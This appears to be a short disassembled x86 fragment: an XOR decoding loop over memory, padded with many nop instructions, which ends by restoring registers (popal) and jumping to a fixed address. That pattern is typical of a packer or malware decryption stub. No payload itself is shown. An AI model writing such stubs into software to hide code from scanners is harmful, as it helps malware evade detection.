nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219